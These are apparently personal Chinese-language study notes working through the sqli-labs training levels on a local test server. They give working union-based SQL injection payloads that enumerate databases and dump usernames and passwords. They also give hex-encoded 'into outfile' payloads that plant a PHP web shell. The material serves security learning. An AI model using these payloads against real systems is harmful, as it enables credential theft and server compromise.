写在前面,最近烦心事挺多的,大过年的,在外省冬奥残奥重保,和**一起来的,本来是很开心的,但是因为我的项目组里的问题,我的工资只有的三分之二,还有一堆破事也不知道找谁去说,烦心的学不进去,就是想抽烟,一根一根的停不下来,哎,强制自己多学会吧
笔记开始日期:2022.2.1大年初一晚
这个系列会更完的我保证
常用语句
show databases; //查看数据库
use xxx; //使用某个数据库
show tables; //查看该数据库的数据表
desc xxx; //查看该数据表的结构
select * from xxx; //查找某个数据表的所有内容
select schema_name from information_schema.schemata; //猜数据库
select table_name from information_schema.tables where table_schema='xxxxx'; //猜某数据库的数据表
Select column_name from information_schema.columns where table_name='xxxxx'; //猜某表的所有列
left(a,b) //从左侧截取 a 的前 b 位
mid(column_name,start[,length]) //从位置start开始,截取column_name字符串的length位,与substr作用相同
substr(string, start, length) //从位置start开始,截取字符串string的length长度,与mid作用相同
ascii() //将某个字符转换成ascii码
ord() //将某个字符转换成ascii码,同ascii()
//union
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,
当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返
回了我们构造的 union 的数据。
//这里用-1是为了查询一个不存在的id,好让第一句结果为空,直接显示第二句的结果
id = -1 union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //得到数据库名
先加一个’
http://127.0.0.1/sqli/Less-1/?id=1’

报错猜测SQL语句
SELECT * FROM table WHERE id='input' LIMIT 0,1
尝试用注释将’去掉
'or 1=1–+
语句变成了
select * from table where id='1'or 1=1--+' limit 0,1

返回数据正常
利用order by x排序
http://127.0.0.1/sqli/Less-1/?id=1’ order by 4–+
1,2,3都是正常的,4开始报错


说明有三列数据
然后union联合注入,union 前后的两个 sql 语句的选择列数要相同才可以,当id=-1,两个 sql 语句进行联合操作时,
因为前一个语句选择的内容为空,所以后面的语句的内容会显示出来
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,3–+

在2和3的地方爆库Dhakkan
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata–+

爆security库的表
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’–+

爆users库
http://127.0.0.1/sqli/Less-1/?id=-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’–+

爆数据
id =-1’union select 1,username,password from users where id=2–+

和第一关差不多
加’试一下,报错

看一下和第一关的报错区别
第一关
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
第二关
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
说明第二关是整数类型
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
尝试1 order by,发现4以后开始报错,说明该数据表有三个字段数
然后union查询
id = -1 union select 1,2,3–+

得到2,3
id = -1 union select 1,2,group_concat(schema_name) from information_schema.schemata //得到数据库名

爆security表
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= ‘security’

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name= ‘users’ //得到列名

-1 union select 1,username,password from users where id=3 //爆破得到数据


select * from users where id=(‘input’) LIMIT 0,1;
%20union%20select%201,group_concat(username,%27—%27,password),3%20from%20users%20–+

先试一下单引号不报错说明和单引号无关,然后双引号,报了

"–+有问题,说明不是”

试一试"),没问题了

id = -1")%20union%20select%201,group_concat(username,%27—%27,password),3%20from%20users%20–+

'可以了


闭合为6
写一个shell
http://127.0.0.1/sqli/Less-6/?id=1%22into%20outfile%20%27C:/less6.php%27%20lines%20terminated%20by%200x3c3f7068702061737365727428245f504f53545b6c657373365d293b3f3e--
http://127.0.0.1/sqli/Less-7/?id=1%27))–+闭合为’))
好麻烦,我就用自己的脚本跑出来了
https://blog.csdn.net/weixin_50847719/article/details/125026397?spm=1001.2014.3001.5502
写马子
id=1’)) into outfile ‘C:/less7.php’ lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373375d293b3f3e–


闭合为’ 无回显
需要sleep函数